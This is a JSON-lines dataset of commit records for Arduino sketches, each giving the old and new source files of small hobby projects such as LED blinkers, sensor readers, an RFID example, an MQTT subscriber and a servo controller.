bat_val_prev) {\n \n \/\/ Large number center screen \n \/\/ Clear\n Robot.stroke(0,0,0);\n Robot.textSize(3);\n Robot.text(bat_val_prev, 15, 50); \n \/\/ Write\n Robot.stroke(0,255,0);\n Robot.textSize(3);\n Robot.text(bat_val, 15, 50); \n \n Robot.textSize(2);\n Robot.text(\"mV\", 92, 58); \n \n bat_val_prev = bat_val;\n }\n \n delay(2000);\n}\n\n","subject":"Clear the text before setting the previous value","message":"Clear the text before setting the previous value\n","lang":"Arduino","license":"mit","repos":"theapi\/arduino_robot"} {"commit":"ce36c4371ac1e23c51636b17a416177d2e922829","old_file":"arduino\/fillbrick.ino","new_file":"arduino\/fillbrick.ino","old_contents":"\/\/Pin connected to ST_CP of 74HC595\nconst int latchPin = 12;\n\/\/Pin connected to SH_CP of 74HC595\nconst int clockPin = 11;\n\/\/\/\/Pin connected to DS of 74HC595\nconst int dataPin = 13;\n\nvoid setup() {\n pinMode(latchPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(dataPin, OUTPUT);\n}\n\nvoid loop() {\n \/\/ count from 2 (0x00001) to 32 (0x10000)\n \/\/ note: the furthest right pin is disconnected; drop the right most digit in binary\n for (int a = 2 ; a< 32;a*=2) {\n digitalWrite(latchPin, LOW);\n \/\/ shift out the bits:\n shiftOut(dataPin, clockPin, MSBFIRST, data[a]);\n \/\/take the latch pin high so the LEDs will light up:\n digitalWrite(latchPin, HIGH);\n \/\/ pause before next value:\n delay(500);\n }\n}\n\n","new_contents":"\/\/Pin connected to ST_CP of 74HC595\nconst int LATCHPIN = 12;\n\/\/Pin connected to SH_CP of 74HC595\nconst int CLOCKPIN = 11;\n\/\/ Pin connected to DS of 74HC595\nconst int DATAPIN = 13;\n\/\/ Number of pins\nconst int BOARDHEIGHT = 5;\n\/\/ Delay\nconst int DELAY = 200;\n\nvoid sendData(byte data) {\n \/\/ 001010\n for (int i = 0; i < boardHeight; i++) {\n digitalWrite(LATCHPIN, LOW);\n \/\/ shift out the bits:\n digitalWrite(DATAPIN, data[i]);\n \/\/take the latch pin high so the LEDs will light up:\n digitalWrite(LATCHPIN, HIGH);\n Serial.print(bitRead(data, i));\n }\n \/\/digitalWrite(0);\n Serial.print(0);\n Serial.println();\n}\n\nvoid diagonalLines() {\n \/\/ count from 1 (0x00001) to 32 (0x10000)\n \/\/ note: the furthest right pin is disconnected; drop the right most digit in binary\n for (byte a = 1; a< 32;a*=2) {\n sendData(a);\n delay(DELAY);\n }\n}\n\nvoid setup() {\n pinMode(LATCHPIN, OUTPUT);\n pinMode(CLOCKPIN, OUTPUT);\n pinMode(DATAPIN, OUTPUT);\n Serial.begin(9600);\n}\n\nvoid loop() {\n diagonalLines()\n}\n","subject":"Add sendData func and diagonalLines test pattern","message":"Add sendData func and diagonalLines test pattern\n","lang":"Arduino","license":"mit","repos":"MaxWofford\/philbrick"} {"commit":"61545369417344ff5eeab8823dfdf318b03bed7d","old_file":"Trigger\/Trigger.ino","new_file":"Trigger\/Trigger.ino","old_contents":"\n\/\/\n\/\/ Generate a signal to trigger camera and lightning\n\/\/\n\n\/\/ Setup\nint button = 7;\nint trigger = 13;\nboolean running = false;\nint button_state;\nint last_button_state = LOW;\nint high_duration = 10;\nint low_duration = 190; \/\/ 5Hz\n\/\/int low_duration = 101; \/\/ 9Hz\n\n\/\/ Arduino setup\nvoid setup() {\n \/\/ Input-Output signals\n pinMode( button, INPUT );\n pinMode( trigger, OUTPUT );\n}\n\n\/\/ Main loop\nvoid loop() {\n \/\/ Start \/ Stop button\n button_state = digitalRead( button );\n if( button_state == HIGH && last_button_state == LOW ) {\n running = !running;\n delay( 50 );\n }\n last_button_state = button_state;\n \/\/ Trigger\n if( running ) {\n \/\/ High state\n digitalWrite( trigger, HIGH );\n delay( high_duration );\n \/\/ Low state\n digitalWrite( trigger, LOW );\n delay( low_duration );\n }\n}\n","new_contents":"\n\/\/\n\/\/ Generate a 9Hz signal to trigger camera and lightning\n\/\/\n\n\/\/ Setup\nint button = 7;\nint trigger = 13;\nboolean running = false;\nint button_state;\nint last_button_state = LOW;\nint high_duration = 10;\nint low_duration = 101;\n\n\/\/ Arduino setup\nvoid setup() {\n \/\/ Input-Output signals\n pinMode( button, INPUT );\n pinMode( trigger, OUTPUT );\n}\n\n\/\/ Main loop\nvoid loop() {\n \/\/ Start \/ Stop button\n button_state = digitalRead( button );\n if( button_state == HIGH && last_button_state == LOW ) {\n running = !running;\n delay( 50 );\n }\n last_button_state = button_state;\n \/\/ Trigger\n if( running ) {\n \/\/ High state\n digitalWrite( trigger, HIGH );\n delay( high_duration );\n \/\/ Low state\n digitalWrite( trigger, LOW );\n delay( low_duration );\n }\n}\n","subject":"Change the trigger frequency to 9Hz.","message":"Change the trigger frequency to 9Hz.\n","lang":"Arduino","license":"mit","repos":"microy\/StereoVision,microy\/StereoVision,microy\/VisionToolkit,microy\/VisionToolkit,microy\/PyStereoVisionToolkit,microy\/PyStereoVisionToolkit"} {"commit":"652500f1dc00a5ef0b1c894648efa67566fa6074","old_file":"firmware\/examples\/RFID_UART.ino","new_file":"firmware\/examples\/RFID_UART.ino","old_contents":"\/\/ RFID_UART.ino\n\n#if defined (SPARK)\n#include \"SeeedRFID\/SeeedRFID.h\"\n#else\n#include \n#include \n#endif\n\n#define RFID_RX_PIN 10\n#define RFID_TX_PIN 11\n\n\/\/ #define DEBUG\n#define TEST\n\nSeeedRFID RFID(RFID_RX_PIN, RFID_TX_PIN);\nRFIDdata tag;\n\nvoid setup() {\n\tSerial1.begin(9600);\t\/\/Done here to prevent SeeedRFID constructor system crash\n\t\n\tSerial.begin(57600);\n\tSerial.println(\"Hello, double bk!\");\n}\n\nvoid loop() { \n\tif(RFID.isAvailable()){\n\t\ttag = RFID.data();\n\t\tSerial.print(\"RFID card number: \");\n\t\tSerial.println(RFID.cardNumber());\n#ifdef TEST\n\tSerial.print(\"RFID raw data: \");\n\tfor(int i=0; i\n#include \n#endif\n\n#define RFID_RX_PIN 10\n#define RFID_TX_PIN 11\n\n\/\/ #define DEBUGRFID\n#define TEST\n\nSeeedRFID RFID(RFID_RX_PIN, RFID_TX_PIN);\nRFIDdata tag;\n\nvoid setup() {\n\tSerial1.begin(9600);\t\/\/Done here to prevent SeeedRFID constructor system crash\n\t\n\tSerial.begin(57600);\n\tSerial.println(\"Hello, double bk!\");\n}\n\nvoid loop() { \n\tif(RFID.isAvailable()){\n\t\ttag = RFID.data();\n\t\tSerial.print(\"RFID card number: \");\n\t\tSerial.println(RFID.cardNumber());\n#ifdef TEST\n\tSerial.print(\"RFID raw data: \");\n\tfor(int i=0; i\n#include \n\nNanoshield_ADC adc[4] = { 0x48, 0x49, 0x4A, 0x4B };\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"ADC Nanoshield Test - Voltage Measurement - 16 x 12-bit\");\n Serial.println(\"\");\n\n for (int i = 0; i < 4; i++) {\n adc[i].begin();\n }\n}\n\nvoid loop()\n{\n for (int i = 0; i < 16; i++) {\n Serial.print(\"A\");\n Serial.print(i%4);\n Serial.print(\" (\");\n Serial.print(i\/4);\n Serial.print(\") voltage: \");\n Serial.print(adc[i\/4].readVoltage(i%4));\n Serial.println(\"V\");\n }\n Serial.println();\n \n delay(1000);\n}\n","new_contents":"\/**\n * Display the voltage measured at four 16-bit channels.\n *\n * Copyright (c) 2014 Circuitar\n * All rights reserved.\n *\n * This software is released under a BSD license. See the attached LICENSE file for details.\n *\/\n#include \n#include \n\nNanoshield_ADC adc[4] = { 0x48, 0x49, 0x4A, 0x4B };\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"ADC Nanoshield Test - Voltage Measurement - 16 x 16-bit\");\n Serial.println(\"\");\n\n for (int i = 0; i < 4; i++) {\n adc[i].begin();\n }\n}\n\nvoid loop()\n{\n for (int i = 0; i < 16; i++) {\n Serial.print(\"A\");\n Serial.print(i%4);\n Serial.print(\" (\");\n Serial.print(i\/4);\n Serial.print(\") voltage: \");\n Serial.print(adc[i\/4].readVoltage(i%4));\n Serial.println(\"V\");\n }\n Serial.println();\n \n delay(1000);\n}\n","subject":"Fix text shown on serial monitor.","message":"Fix text shown on serial monitor.","lang":"Arduino","license":"bsd-3-clause","repos":"circuitar\/Nanoshield_ADC,circuitar\/Nanoshield_ADC"} {"commit":"70c41f7c1353430de155f93fb0a44ec023075261","old_file":"examples\/mqtt_subscriber\/mqtt_subscriber.ino","new_file":"examples\/mqtt_subscriber\/mqtt_subscriber.ino","old_contents":"\/*\n MQTT subscriber example\n\n - connects to an MQTT server\n - subscribes to the topic \"inTopic\"\n*\/\n\n#include \n#include \n\nconst char *ssid =\t\"xxxxxxxx\";\t\t\/\/ cannot be longer than 32 characters!\nconst char *pass =\t\"yyyyyyyy\";\t\t\/\/\n\n\/\/ Update these with values suitable for your network.\nIPAddress server(172, 16, 0, 2);\n\nvoid callback(MQTT::Publish& pub) {\n Serial.print(pub.topic());\n Serial.print(\" => \");\n Serial.print(pub.payload_string());\n}\n\nPubSubClient client(server);\n\nvoid setup()\n{\n \/\/ Setup console\n Serial.begin(115200);\n delay(10);\n Serial.println();\n Serial.println();\n\n client.set_callback(callback);\n\n WiFi.begin(ssid, pass);\n\n int retries = 0;\n while ((WiFi.status() != WL_CONNECTED) && (retries < 10)) {\n retries++;\n delay(500);\n Serial.print(\".\");\n }\n if (WiFi.status() == WL_CONNECTED) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n }\n\n if (client.connect(\"arduinoClient\")) {\n client.subscribe(\"inTopic\");\n }\n}\n\nvoid loop()\n{\n client.loop();\n}\n","new_contents":"\/*\n MQTT subscriber example\n\n - connects to an MQTT server\n - subscribes to the topic \"inTopic\"\n*\/\n\n#include \n#include \n\nconst char *ssid =\t\"xxxxxxxx\";\t\t\/\/ cannot be longer than 32 characters!\nconst char *pass =\t\"yyyyyyyy\";\t\t\/\/\n\n\/\/ Update these with values suitable for your network.\nIPAddress server(172, 16, 0, 2);\n\nvoid callback(const MQTT::Publish& pub) {\n Serial.print(pub.topic());\n Serial.print(\" => \");\n Serial.print(pub.payload_string());\n}\n\nPubSubClient client(server);\n\nvoid setup()\n{\n \/\/ Setup console\n Serial.begin(115200);\n delay(10);\n Serial.println();\n Serial.println();\n\n client.set_callback(callback);\n\n WiFi.begin(ssid, pass);\n\n int retries = 0;\n while ((WiFi.status() != WL_CONNECTED) && (retries < 10)) {\n retries++;\n delay(500);\n Serial.print(\".\");\n }\n if (WiFi.status() == WL_CONNECTED) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n }\n\n if (client.connect(\"arduinoClient\")) {\n client.subscribe(\"inTopic\");\n }\n}\n\nvoid loop()\n{\n client.loop();\n}\n","subject":"Fix signature of callback function in subscriber example","message":"Fix signature of callback function in subscriber example\n","lang":"Arduino","license":"mit","repos":"hemantsangwan\/Arduino-PubSubClient,Imroy\/pubsubclient,doebi\/pubsubclient,liquiddandruff\/pubsubclient,Protoneer\/pubsubclient,vshymanskyy\/pubsubclient,vshymanskyy\/pubsubclient,koltegirish\/pubsubclient,Imroy\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,Protoneer\/pubsubclient,doebi\/pubsubclient,Imroy\/pubsubclient,liquiddandruff\/pubsubclient,koltegirish\/pubsubclient,Protoneer\/pubsubclient,koltegirish\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,liquiddandruff\/pubsubclient,doebi\/pubsubclient,vshymanskyy\/pubsubclient"} {"commit":"bd824e894793e2a8ce672574e324ce8267c6c26d","old_file":"tinkering\/hallsensor\/hall_test.ino","new_file":"tinkering\/hallsensor\/hall_test.ino","old_contents":"#define HALLPIN P1_5\n\nint revs;\nint count; \nunsigned long oldtime;\nunsigned long average;\nint rpm[5];\nint hallRead;\nint switched;\nvoid magnet_detect();\n\nvoid setup()\n{\n Serial.begin(9600);\n \/\/Pull down to start\n pinMode(HALLPIN,INPUT_PULLDOWN);\n\n \/\/initialize variables\n switched = 0;\n revs = 0;\n oldtime = 0;\n average = 0;\n count = 0;\n}\n\nvoid loop()\n{\n hallRead = digitalRead(HALLPIN);\n\n \/\/Using moving average to calculate RPM, I don't think it is totally correct\n if(millis() - oldtime > 1000)\n {\n average -= average \/ 5;\n average += (revs*30) \/ 5;\n\n oldtime = millis();\n revs = 0;\n Serial.println(average,DEC);\n }\n\n if(hallRead == 1 && switched == 0)\n {\n Serial.print(\"HallPin State: HIGH\\n\");\n revs++;\n switched = 1;\n }else if(hallRead == 0 && switched == 1)\n {\n Serial.print(\"HallPin State: LOW\\n\");\n revs++;\n switched = 0;\n }\n\n}\n\n","new_contents":"#define HALLPIN P1_5\n\nint revs;\nunsigned long oldtime;\nunsigned int average;\nint rpm[5];\nint hallRead;\nint switched;\n\nvoid setup()\n{\n Serial.begin(9600);\n\n \/\/Pull up to start\n pinMode(HALLPIN,INPUT_PULLUP);\n pinMode(P1_4,OUTPUT);\n digitalWrite(P1_4,HIGH);\n\n \/\/initialize variables\n switched = 0;\n revs = 0;\n oldtime = 0;\n average = 0;\n}\n\nvoid loop()\n{\n hallRead = digitalRead(HALLPIN);\n\n \/\/Using moving average to calculate RPM, I don't think it is totally correct\n if(millis() - oldtime > 1000)\n {\n average -= average \/ 5;\n average += (revs*30) \/ 5;\n\n oldtime = millis();\n revs = 0;\n Serial.println(average,DEC);\n }\n\n if(hallRead == 1 && switched == 0)\n {\n Serial.print(\"HallPin State: HIGH\\n\");\n revs++;\n switched = 1;\n }else if(hallRead == 0 && switched == 1)\n {\n Serial.print(\"HallPin State: LOW\\n\");\n revs++;\n switched = 0;\n }\n}\n\n","subject":"Update hallsensor code to reflect changes in wiring on breadboard using pullup resistor","message":"Update hallsensor code to reflect changes in wiring on breadboard using pullup resistor\n","lang":"Arduino","license":"mit","repos":"fkmclane\/derailleurs,fkmclane\/derailleurs,fkmclane\/derailleurs"} {"commit":"4dd54885f2ddc2b4c1b0ea30fdc7f61514bcc93c","old_file":"Segment16Sign.ino","new_file":"Segment16Sign.ino","old_contents":"#include \n#include \n\nSegment16 display;\n\nvoid setup(){\n Serial.begin(9600);\n while (!Serial) {} \/\/ wait for Leonardo\n Serial.println(\"Type any character to start\");\n while (Serial.read() <= 0) {}\n delay(200); \/\/ Catch Due reset problem\n \/\/ assume the user typed a valid character and no reset happened \n}\n\nvoid loop(){\n Serial.println(\"LOOP\");\n display.show();\n delay(1000);\n}\n","new_contents":"#include \n#include \n\nSegment16 display;\nuint32_t incomingByte = 0, input = 0; \/\/ for incoming serial data\n\nvoid setup(){\n Serial.begin(9600);\n while (!Serial) {} \/\/ wait for Leonard\n Serial.println(\"Type any character to start\");\n while (Serial.read() <= 0) {}\n delay(200); \/\/ Catch Due reset problem\n display.init();\n \/\/ assume the user typed a valid character and no reset happened \n}\n\nvoid loop(){\n if(Serial.available() > 0){\n input = 0;\n while(Serial.available() > 0){\n incomingByte = Serial.read();\n input = (input << 8) | incomingByte;\n }\n display.pushChar(input);\n Serial.println(input, HEX);\n \/\/incomingByte = Serial.read();\n }\n display.show();\n delay(5);\n}\n","subject":"Add ability to input alt characters","message":"Add ability to input alt characters\n","lang":"Arduino","license":"mit","repos":"bguest\/Segment16Sign,bguest\/Segment16Sign"} {"commit":"369101801cd468eafcc157a96e324c1fd5d12578","old_file":"examples\/ReadRawValue\/ReadRawValue.ino","new_file":"examples\/ReadRawValue\/ReadRawValue.ino","old_contents":"\/**\n * Read raw 20-bit integer value from a load cell using the ADS1230 IC in the LoadCell Nanoshield.\n *\n * Copyright (c) 2015 Circuitar\n * This software is released under the MIT license. See the attached LICENSE file for details.\n *\/\n#include \n#include \n\n\/\/ LoadCell Nanoshield with the following parameters:\n\/\/ - Load cell capacity: 100kg\n\/\/ - Load cell sensitivity: 3mV\/V\n\/\/ - CS on pin D8 (D8 jumper closed)\n\/\/ - High gain (GAIN jumper closed)\n\/\/ - No averaging (number of samples = 1)\nNanoshield_LoadCell loadCell(100000, 3, 8, true, 1);\n\nvoid setup() {\n Serial.begin(9600);\n loadCell.begin();\n}\n\nvoid loop() {\n if (loadCell.updated()) {\n Serial.println(loadCell.getLatestRawValue(), 0);\n }\n}\n","new_contents":"\/**\n * Read raw 20-bit integer value from a load cell using the ADS1230 IC in the LoadCell Nanoshield.\n *\n * Copyright (c) 2015 Circuitar\n * This software is released under the MIT license. See the attached LICENSE file for details.\n *\/\n#include \n#include \n\n\/\/ LoadCell Nanoshield with the following parameters:\n\/\/ - Load cell capacity: 100kg\n\/\/ - Load cell sensitivity: 3mV\/V\n\/\/ - CS on pin D8 (D8 jumper closed)\n\/\/ - High gain (GAIN jumper closed)\n\/\/ - No averaging (number of samples = 1)\nNanoshield_LoadCell loadCell(100000, 3, 8, true, 1);\n\nvoid setup() {\n Serial.begin(9600);\n loadCell.begin();\n}\n\nvoid loop() {\n if (loadCell.updated()) {\n Serial.println(loadCell.getLatestRawValue());\n }\n}\n","subject":"Fix raw value output to serial terminal.","message":"Fix raw value output to serial terminal.\n","lang":"Arduino","license":"mit","repos":"circuitar\/Nanoshield_LoadCell,circuitar\/Nanoshield_LoadCell"} {"commit":"1c2f808025bc91c2ff7790577e8b479a1816f503","old_file":"sketch_feb14b\/sketch_feb14b.ino","new_file":"sketch_feb14b\/sketch_feb14b.ino","old_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","new_contents":"\/*\n Turns on an LED for one seconds, then off for one second, repeat.\n\n This example is adapted from Examples > 01.Basics > Blink\n\n *\/\n\n\/\/ On the Arduino UNO the onboard LED is attached to digital pin 13\n#define LED 13\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n pinMode(LED, OUTPUT);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n digitalWrite(LED, HIGH); \/\/ turn the LED on\n delay(1000);\n digitalWrite(LED, LOW); \/\/ turn the LED off\n delay(1000);\n}\n","subject":"Add code for blinking LED on digital out 13","message":"Add code for blinking LED on digital out 13\n\nSigned-off-by: Gianpaolo Macario \n","lang":"Arduino","license":"mpl-2.0","repos":"gmacario\/learning-arduino"} {"commit":"706ac004f7e92a7367f46d2d0cae9b6f29289c08","old_file":"arduino\/sensor_manager\/sensor_manager.ino","new_file":"arduino\/sensor_manager\/sensor_manager.ino","old_contents":"#include \n#include \n#include \n\n#define SENSOR_SONAR 14\n#define SENSOR_TACH_0 2\n#define SENSOR_TACH_1 3\n#define MAX_DISTANCE 300\n#define LED13 13\n#define FREQ 20\n\nvoid tach_0_dispatcher();\nvoid tach_1_dispatcher();\n\nSonar sonar(SENSOR_SONAR, MAX_DISTANCE);\nTach tach_0(SENSOR_TACH_0, tach_0_dispatcher);\nTach tach_1(SENSOR_TACH_1, tach_1_dispatcher);\n\nvoid setup() {\n digitalWrite(LED13,LOW);\n Serial.begin(115200);\n}\n\nvoid loop() {\n send(\"sonar\", sonar.get_range());\n send(\"tach0\", tach_0.get_rpm());\n send(\"tach1\", tach_1.get_rpm());\n delay(1000\/FREQ);\n}\n\nvoid send(const String& label, int value)\n{\n digitalWrite(LED13,HIGH);\n Serial.print(\"{\\\"type\\\":\");\n Serial.print(label);\n Serial.print(\"\\\", \\\"value\\\":\");\n Serial.print(value);\n Serial.print(\"}\");\n Serial.println();\n digitalWrite(LED13,LOW);\n}\n\nvoid tach_0_dispatcher(){\n tach_0.handler();\n}\n\nvoid tach_1_dispatcher(){\n tach_1.handler();\n}\n\n\n\n","new_contents":"#include \n#include \n#include \n\n#define SENSOR_SONAR 14\n#define SENSOR_TACH_0 2\n#define SENSOR_TACH_1 3\n#define MAX_DISTANCE 300\n#define LED13 13\n#define FREQ 20\n\nvoid tach_0_dispatcher();\nvoid tach_1_dispatcher();\n\nSonar sonar(SENSOR_SONAR, MAX_DISTANCE);\nTach tach_0(SENSOR_TACH_0, tach_0_dispatcher);\nTach tach_1(SENSOR_TACH_1, tach_1_dispatcher);\n\nvoid setup() {\n digitalWrite(LED13,LOW);\n Serial.begin(115200);\n}\n\nvoid loop() {\n send(\"sonar\", sonar.get_range());\n send(\"tach0\", tach_0.get_rpm());\n send(\"tach1\", tach_1.get_rpm());\n delay(1000\/FREQ);\n}\n\nvoid send(const String& label, int value)\n{\n digitalWrite(LED13,HIGH);\n Serial.print(\"{\\\"sensor\\\":\");\n Serial.print(label);\n Serial.print(\"\\\", \\\"value\\\":\");\n Serial.print(value);\n Serial.print(\"}\");\n Serial.println();\n digitalWrite(LED13,LOW);\n}\n\nvoid tach_0_dispatcher(){\n tach_0.handler();\n}\n\nvoid tach_1_dispatcher(){\n tach_1.handler();\n}\n\n\n\n","subject":"Use the sensor id as the identifier.","message":"Use the sensor id as the identifier.\n","lang":"Arduino","license":"mit","repos":"dennisdunn\/botlab,dennisdunn\/botlab,dennisdunn\/botlab,dennisdunn\/botlab,dennisdunn\/botlab"} {"commit":"9d474b107a48a8a6ef8d5113a123b1910e5e428d","old_file":"Arduino\/libraries\/UA_Sensors\/examples\/LowPowerSDTest\/LowPowerSDTest.ino","new_file":"Arduino\/libraries\/UA_Sensors\/examples\/LowPowerSDTest\/LowPowerSDTest.ino","old_contents":"\/*\n Test SD Card Shield sensor with Low Power library sleep\n\n This sketch specifically tests the DeadOn RTC - DS3234 Breakout board\n used on our sensor platform.\n\n This sketch will write a value of n + 1 to the file test.txt when\n the RocketScream wakes up.\n\n You should detach the RTC breakout board and GSM Shield.\n\n Created 1 7 2014\n Modified 1 7 2014\n*\/\n\n#include \n\n#include \n\n\/\/ UASensors SDCard Dependency\n#include \n\n\n\/\/ LED blink settings\nconst byte LED = 13;\nconst int BLINK_DELAY = 5;\n\n\/\/ SD card settings\nconst byte SD_CS_PIN = 10;\n\n\/\/ Settings\n#define TEST_FILENAME \"test.txt\"\n\nint wakeupCount = 0;\nUASensors_SDCard sd(SD_CS_PIN);\n\n\nvoid setup()\n{\n pinMode(SD_CS_PIN, OUTPUT);\n}\n\n\nvoid loop()\n{\n \/\/ Sleep for about 8 seconds\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n\n wakeupCount += 1;\n\n sd.begin();\n sd.writeFile(TEST_FILENAME, String(wakeupCount));\n delay(1000);\n}\n\n\n\/\/ Simple blink function\nvoid blink(byte pin, int delay_ms)\n{\n pinMode(pin, OUTPUT);\n digitalWrite(pin, HIGH);\n delay(delay_ms);\n digitalWrite(pin, LOW);\n}","new_contents":"\/*\n Test SD Card Shield sensor with Low Power library sleep\n\n This sketch specifically tests the DeadOn RTC - DS3234 Breakout board\n used on our sensor platform.\n\n This sketch will write a value of n + 1 to the file test.txt each time\n the RocketScream wakes up.\n\n You should detach the RTC breakout board and GSM Shield.\n\n Created 1 7 2014\n Modified 2 7 2014\n*\/\n\n#include \n\n#include \n\n\/\/ UASensors SDCard Dependency\n#include \n\n\n\/\/ SD card settings\nconst byte SD_CS_PIN = 10;\n\n\/\/ Settings\n#define TEST_FILENAME \"test.txt\"\n\nint wakeupCount = 0;\nUASensors_SDCard sd(SD_CS_PIN);\n\n\nvoid setup()\n{\n pinMode(SD_CS_PIN, OUTPUT);\n}\n\n\nvoid loop()\n{\n \/\/ Sleep for about 8 seconds\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n\n wakeupCount += 1;\n\n sd.begin();\n sd.writeFile(TEST_FILENAME, String(wakeupCount));\n delay(1000);\n}","subject":"Remove blink code since unused here","message":"Remove blink code since unused here\n","lang":"Arduino","license":"unlicense","repos":"UAA-EQLNES\/EQLNES-Sensors"} {"commit":"4e9d6ee7fdf69cfbc9365e1f4c16d704188617e9","old_file":"src\/sketch.ino","new_file":"src\/sketch.ino","old_contents":"#include \"serLCD.h\"\n\n#define LCD_PIN 2\n#define LED_PIN 13\n#define BLINK_DELAY 75\n\n\/*serLCD lcd(LCD_PIN);*\/\n\nvoid setup() {\n delay(2000);\n\n Serial.begin(9600);\n Serial.println(\"hello world\");\n\n for (int i = 0; i < 4; i++) {\n blink();\n }\n\n delay(1000);\n}\n\nString str = \"\";\nchar character;\n\nvoid loop() {\n ledOff();\n Serial.print(\"fa;\");\n\n \/\/ wait for FA00000000000;\n while (Serial.available() > 0) {\n character = Serial.read();\n\n if (character != ';') {\n str += character;\n } else {\n ledOn();\n\n displayFrequency(str);\n str = \"\";\n }\n }\n\n delay(1000);\n}\n\nvoid displayFrequency(String msg) {\n Serial.println();\n Serial.println(\"------------\");\n Serial.println(msg);\n Serial.println(\"------------\");\n}\n\nvoid ledOn() {\n led(HIGH);\n}\n\nvoid ledOff() {\n led(LOW);\n}\n\nvoid led(int state) {\n digitalWrite(LED_PIN, state);\n}\n\nvoid blink() {\n ledOn();\n delay(BLINK_DELAY);\n ledOff();\n delay(BLINK_DELAY);\n}\n\n","new_contents":"#include \"serLCD.h\"\n\n#define LCD_PIN 5\n#define LED_PIN 13\n#define BLINK_DELAY 75\n\nserLCD lcd(LCD_PIN);\n\nvoid setup() {\n delay(2000);\n\n Serial.begin(9600);\n Serial.println(\"hello world\");\n\n for (int i = 0; i < 4; i++) {\n blink();\n }\n\n delay(1000);\n}\n\nString str = \"\";\nchar character;\n\nvoid loop() {\n ledOff();\n Serial.print(\"fa;\");\n\n \/\/ wait for FA00000000000;\n while (Serial.available() > 0) {\n character = Serial.read();\n\n if (character != ';') {\n str += character;\n } else {\n ledOn();\n\n displayFrequency(str);\n str = \"\";\n }\n }\n\n delay(1000);\n}\n\nvoid displayFrequency(String msg) {\n Serial.println();\n Serial.println(\"------------\");\n Serial.println(msg);\n Serial.println(\"------------\");\n}\n\nvoid ledOn() {\n led(HIGH);\n}\n\nvoid ledOff() {\n led(LOW);\n}\n\nvoid led(int state) {\n digitalWrite(LED_PIN, state);\n}\n\nvoid blink() {\n ledOn();\n delay(BLINK_DELAY);\n ledOff();\n delay(BLINK_DELAY);\n}\n\n","subject":"Set up the LCD pin","message":"Set up the LCD pin\n","lang":"Arduino","license":"mit","repos":"tonyc\/kx3_vfo_arduino,tonyc\/kx3_vfo_arduino"} {"commit":"3f3c4c207f1342ffd17e65e0025f4ab8a9e998dc","old_file":"libraries\/Servo\/examples\/Knob\/Knob.ino","new_file":"libraries\/Servo\/examples\/Knob\/Knob.ino","old_contents":"\/* \n Controlling a servo position using a potentiometer (variable resistor) \n by Michal Rinott \n\n modified on 8 Nov 2013\n by Scott Fitzgerald\n http:\/\/www.arduino.cc\/en\/Tutorial\/Knob\n*\/\n\n#include \n\nServo myservo; \/\/ create servo object to control a servo\n\nint potpin = 0; \/\/ analog pin used to connect the potentiometer\nint val; \/\/ variable to read the value from the analog pin\n\nvoid setup()\n{\n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n}\n\nvoid loop() \n{ \n val = analogRead(potpin); \/\/ reads the value of the potentiometer (value between 0 and 1023) \n val = map(val, 0, 1023, 0, 180); \/\/ scale it to use it with the servo (value between 0 and 180) \n myservo.write(val); \/\/ sets the servo position according to the scaled value \n delay(15); \/\/ waits for the servo to get there \n} \n\n","new_contents":"\/*\n Controlling a servo position using a potentiometer (variable resistor)\n by Michal Rinott \n\n modified on 8 Nov 2013\n by Scott Fitzgerald\n http:\/\/www.arduino.cc\/en\/Tutorial\/Knob\n*\/\n\n#include \n\nServo myservo; \/\/ create servo object to control a servo\n\nint potpin = 0; \/\/ analog pin used to connect the potentiometer\nint val; \/\/ variable to read the value from the analog pin\n\nvoid setup()\n{\n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n}\n\nvoid loop()\n{\n val = analogRead(potpin); \/\/ reads the value of the potentiometer (value between 0 and 1023)\n val = map(val, 0, 1023, 0, 180); \/\/ scale it to use it with the servo (value between 0 and 180)\n myservo.write(val); \/\/ sets the servo position according to the scaled value$\n delay(15); \/\/ waits for the servo to get there\n}\n\n","subject":"Modify pin 19's pin description for EVT board","message":"Modify pin 19's pin description for EVT board\n\nSigned-off-by: Kevin Moloney <8d8bc1a72c6f3e47b067d54d8af800cedf125850@emutex.com>\n","lang":"Arduino","license":"lgpl-2.1","repos":"sandeepmistry\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,facchinm\/corelibs-arduino101,sgbihu\/corelibs-arduino101,01org\/corelibs-arduino101,01org\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,sandeepmistry\/corelibs-arduino101,facchinm\/corelibs-arduino101,sgbihu\/corelibs-arduino101,bigdinotech\/corelibs-arduino101,eriknyquist\/corelibs-arduino101,01org\/corelibs-arduino101,eriknyquist\/corelibs-arduino101,sgbihu\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101,sandeepmistry\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101,SidLeung\/corelibs-arduino101,yashaswini-hanji\/corelibs-arduino101,linrjing\/corelibs-arduino101,SidLeung\/corelibs-arduino101,linrjing\/corelibs-arduino101"} {"commit":"1a1802eca16b1637e4ed35369ce94bea4009012a","old_file":"build\/shared\/examples\/MultiTasking\/MultiBlink\/GreenLed.ino","new_file":"build\/shared\/examples\/MultiTasking\/MultiBlink\/GreenLed.ino","old_contents":"#define LED GREEN_LED\n\nvoid setupBlueLed() { \n \/\/ initialize the digital pin as an output.\n pinMode(LED, OUTPUT); \n}\n\n\/\/ the loop routine runs over and over again forever as a task.\nvoid loopBlueLed() {\n digitalWrite(LED, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(500); \/\/ wait for a second\n digitalWrite(LED, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(500); \/\/ wait for a second\n}\n","new_contents":"#define LED GREEN_LED\n\nvoid setupGreenLed() { \n \/\/ initialize the digital pin as an output.\n pinMode(LED, OUTPUT); 